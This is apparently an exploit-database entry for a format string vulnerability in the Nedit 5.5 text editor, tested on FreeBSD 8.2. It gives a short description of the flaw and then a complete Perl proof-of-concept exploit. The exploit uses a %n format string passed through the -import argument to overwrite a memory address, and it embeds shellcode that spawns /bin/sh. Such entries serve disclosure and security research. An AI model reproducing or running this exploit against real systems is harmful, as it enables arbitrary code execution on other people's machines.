Format string vulnerability in Nedit

vendor:

Nedit

by:

Tosh

7.5

CVSS

HIGH

Format String Vulnerability

134

CWE

Product Name: Nedit

Affected Version From: Nedit 5.5

Affected Version To: Nedit 5.5

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: FreeBSD 8.2-RELEASE

2011

Format string vulnerability in Nedit <= 5.5.

A format string vulnerability in Nedit <= 5.5 allows an attacker to execute arbitrary code by passing maliciously crafted arguments to the program. The vulnerability is caused by improper handling of user-supplied input when the program is used with the -import argument. The attacker can use the %n format string specifier to write arbitrary values to arbitrary memory locations. The exploit code uses the %n specifier to write the address of the shellcode to the stack, and then executes the shellcode.

Mitigation:

The vulnerability was already patched when it was discovered.

Source

Exploit-DB raw data:

# Exploit Title: Format string vulnerability in Nedit <= 5.5.
# Date: 04/13/2011
# Author: Tosh (The bug was already patched when I'd found the vuln)
# Email: tosh@tuxfamily.org
# Patch:
http://nedit.cvs.sourceforge.net/viewvc/nedit/nedit/source/preferences.c?r1=1.159&r2=1.160&view=patch
# Version: Nedit 5.5
# Tested on: FreeBSD 8.2-RELEASE
# CVE: don't found


#!/usr/bin/perl -w

use strict;

my $exit_addr = 0x0815a86c;

my $sc =
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50".
         "\x54\x53\xb0\x3b\x50\xcd\x80";

my (@payload) = ("./nedit", "-import", 
pack('L',$exit_addr).pack('L',$exit_addr+1).pack('L',$exit_addr+2).pack('L',$exit_addr+3).
  
"%1021\$.8x-"."%1\$127x%1021\$n%1\$083x%1022\$n%1\$212x%1023\$n%1\$256x%1024\$n"
. $sc);

exec(@payload);